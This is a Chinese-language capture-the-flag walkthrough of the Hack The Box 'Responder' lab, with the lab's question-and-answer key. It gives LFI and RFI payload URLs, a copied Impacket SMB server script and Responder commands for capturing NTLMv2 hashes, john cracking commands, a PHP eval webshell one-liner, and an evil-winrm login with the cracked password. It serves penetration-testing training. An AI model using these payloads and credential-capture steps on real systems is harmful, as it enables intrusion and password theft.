答案
- When visiting the web service using the IP address, what is the domain that we are being redirected to?(当使用IP地址浏览网站时,我们被重定向到了哪个站点?)
unika.htb
- Which scripting language is being used on the server to generate webpages?(目标网站使用的是哪种脚本语言进行编写的?)
php
- What is the name of the URL parameter which is used to load different language versions of the webpage?(用于加载网页不同语言版本的 URL 参数的名称是什么?)
page
- Which of the following values for the
page
parameter would be an example of exploiting a Local File Include (LFI) vulnerability: “french.html”, “//10.10.14.6/somefile”, “…/…/…/…/…/…/…/…/windows/system32/drivers/etc/hosts”, “minikatz.exe”(“page”参数的以下哪个值是利用本地文件包含 (LFI) 漏洞的示例)
../../../../../../../../windows/system32/drivers/etc/hosts
- Which of the following values for the
page
parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: “french.html”, “//10.10.14.6/somefile”, “…/…/…/…/…/…/…/…/windows/system32/drivers/etc/hosts”, “minikatz.exe”(“page”参数的以下哪个值是利用远程文件包含 (RFI) 漏洞的示例?)
//10.10.14.6/somefile
- What does NTLM stand for?(NTLM 的英文全称是什么?)
New Technology LAN Manager
- Which flag do we use in the Responder utility to specify the network interface?(我们在Responder工具中使用哪个参数来指定网络接口?)
-i
- There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as
john
, but the full name is what?.(有几种工具可以接受 NetNTLMv2 质询/响应并尝试数百万个密码,以查看其中是否有任何密码生成相同的响应。其中一个工具经常被称之为john, 但是其完整的名字是什么?)
John the Ripper
- What is the password for the administrator user?(管理员用户的密码是啥?)
badminton
- We’ll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?.(我们将使用 Windows 服务(即在机器上运行)远程访问使用我们恢复的密码Responder 机器。它侦听什么端口TCP?)
5985
找啊找啊找Flag
-
Nmap扫描一波,执行命令:
nmpa -sV -sC 目标IP
,发现没有什么结果
-
那我们就扫描所有的端口,执行命令
nmap -p- -sV -sC 目标IP
,我们发现开放了两个端口,分别是80
和5985
-
那我们首先访问一下
80
端口的网站,结果跳转到一个域名
-
那如何继续访问呢,只需要修改本地host文件即可,
vim /etc/hosts
-
修改完成后我们再通过那个上面的域名进行访问,可以访问成功(访问可能会有点慢,静静等待即可。)
-
挨个点击页面上的内容,会发现更改页面显示语言的参数为
page
,最主要的是参数值是个html文件,那我们就可以尝试一下任意文件读取。
-
测试本地文件包含,修改参数值为
/etc/passwd
,即:http://unika.htb/index.php?page=/etc/passwd
,我们猜测可能会有文件包含漏洞,并且使用的函数是include()
-
通过之前的Nmap扫描结果或者报错页面,我们知道目标服务器的操作系统是Windows,所以我们可以尝试包含一下
C:\Windows\win.ini
测试一下测试链接:http://unika.htb/index.php?page=C:\Windows\win.ini
。通过结果我们可以看到成功包含。
-
让我们使用伪协议测试一下,如下图所示:通过结果可以看到不太行呢,因为
php://input
要求allow_url_include
必须是打开的状态,也就是说我们无法进行远程文件包含。那我们怎么办呢,不能上传木马也白搭啊。
10. 尝试使用php:filter读取index.php源码。http://unika.htb/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
-
通过查阅资料得知,可以使用SMB进行绕过,详情参见:PHP远程文件包含(RFI)并绕过远程URL包含限制
-
接下来我们要开启SMB服务
-
在kali的桌面创建一个名为
smbserve.py
的文件,然后将以下代码复制到文件中,源文件位置:https://github.com/fortra/impacket/blob/master/examples/smbserver.py
代码
#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright (C) 2022 Fortra. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# Simple SMB Server example.
#
# Author:
# Alberto Solino (@agsolino)
#
import sys
import argparse
import logging
from impacket.examples import logger
from impacket import smbserver, version
from impacket.ntlm import compute_lmhash, compute_nthash
if __name__ == '__main__':
# Init the example's logger theme
print(version.BANNER)
parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a "
"share specified as an argument. You need to be root in order to bind to port 445. "
"For optional authentication, it is possible to specify username and password or the NTLM hash. "
"Example: smbserver.py -comment 'My share' TMP /tmp")
parser.add_argument('shareName', action='store', help='name of the share to add')
parser.add_argument('sharePath', action='store', help='path of the share to add')
parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares')
parser.add_argument('-username', action="store", help='Username to authenticate clients')
parser.add_argument('-password', action="store", help='Password for the Username')
parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes for the Username, format is LMHASH:NTHASH')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface')
parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)')
parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
try:
options = parser.parse_args()
except Exception as e:
logging.critical(str(e))
sys.exit(1)
logger.init(options.ts)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
if options.comment is None:
comment = ''
else:
comment = options.comment
server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port))
server.addShare(options.shareName.upper(), options.sharePath, comment)
server.setSMB2Support(options.smb2support)
# If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous
# connections will be allowed
if options.username is not None:
# we either need a password or hashes, if not, ask
if options.password is None and options.hashes is None:
from getpass import getpass
password = getpass("Password:")
# Let's convert to hashes
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
elif options.password is not None:
lmhash = compute_lmhash(options.password)
nthash = compute_nthash(options.password)
else:
lmhash, nthash = options.hashes.split(':')
server.addCredential(options.username, 0, lmhash, nthash)
# Here you can set a custom SMB challenge in hex format
# If empty defaults to '4141414141414141'
# (remember: must be 16 hex bytes long)
# e.g. server.setSMBChallenge('12345678abcdef00')
server.setSMBChallenge('')
# If you don't want log to stdout, comment the following line
# If you want log dumped to a file, enter the filename
server.setLogFile('')
# Rock and roll
server.start()
-
在桌面打开终端运行:
python smbserver.py -debug -smb2support share ./
-
在桌面创建一个名为
info.php
的文件,文件内容为:<?php phpinfo();?>
,然后访问链接:http://unika.htb/index.php?page=\\10.10.16.54\share\info.php
,注意这里的地址是你攻击机开着代理的地址,网卡是tun0
,因为只有这样靶机才能访问到你的机器,也就是说,这里的地址可以是你外网服务器的地址,只要靶机能够访问即可。
-
查看tun0的地址
-
查看一下刚刚开启的smbserver,发现捕获到了HASH
-
我们将hash值手动复制到一个文件中,例如
hash_text
,注意是上图中info后的所有内容 -
然后使用john破解,输入命令
john -w=./rockyou.txt hash_text
,-w指定使用的字典,我这里把rockyou.txt放在了桌面上。
-
另外一种方法就是:直接远程包含一个一句话木马,然后上机找flag,一句话木马为:
<?php @eval($_POST['shell']);?>
,使用蚁剑进行连接 -
连接成功后使用文件管理器,查看目标服务器上有哪些文件
-
通过查找发现有两个可疑的用户,最后发现
flag.txt
文件在mike
用户下的Desktop
文件夹中 -
再一个方法就是使用(目前已查无此人)Responder
,使用git 下载源码:git clone https://github.com/lagandx/Responder.git
,然后进入该文件夹中 -
执行命令./Responder.py -I tun0
-
然后构造payload进行访问:http://unika.htb/index.php?page=//10.10.16.54/t
,这里的IP地址为你网卡tun0显示的IP地址,这里的t为任意,其代表的时smb服务器中的某个文件。报错的原因是我们没有t这个文件,但是靶机做出了这个请求。 -
查看Responder,发现捕获到了HASH,然后CTRL+C
结束进程, -
在当前位置执行:./DumpHash.py
用来导出HASH,执行成功后会生成两个文件 -
使用john破解密码,
john -w=/usr/share/wordlists/rockyou.txt DumpNTLMv2.txt
,这里指定的字典应该是kali中自带的最大的字典了。最后跑出来的就是我们的密码.这玩意儿跑出来有啥用呢,一个是为了填写答案,另一个就是用来远程登录了,Nmap扫描到5985端口,这个端口一般是干嘛的呢,就是Winrm的服务,2.0版本默认端口是5898或者5896,老版本是80或者443端口 -
下面我们使用kali的
winrm
工具进行远程登录操作,执行命令:evil-winrm -u Administrator -p badminton -i 10.129.96.94 -P 5985
,登录成功后找flag即可。
-
美滋滋
涉及的知识点
- hosts文件用于域名解析的,在做题过程中如果通过域名或者IP无法访问靶机,可以尝试修改hosts文件进行域名与IP的绑定
- php的文件包含漏洞:https://blog.csdn.net/Fly_hps/article/details/80926992
- 远程文件包含的绕过:PHP远程文件包含(RFI)并绕过远程URL包含限制
- Responder的使用:https://www.freebuf.com/articles/network/256844.html
- john的使用:https://blog.csdn.net/blue_starry_sky/article/details/61206488
- WinRm:https://cloud.tencent.com/developer/article/1937035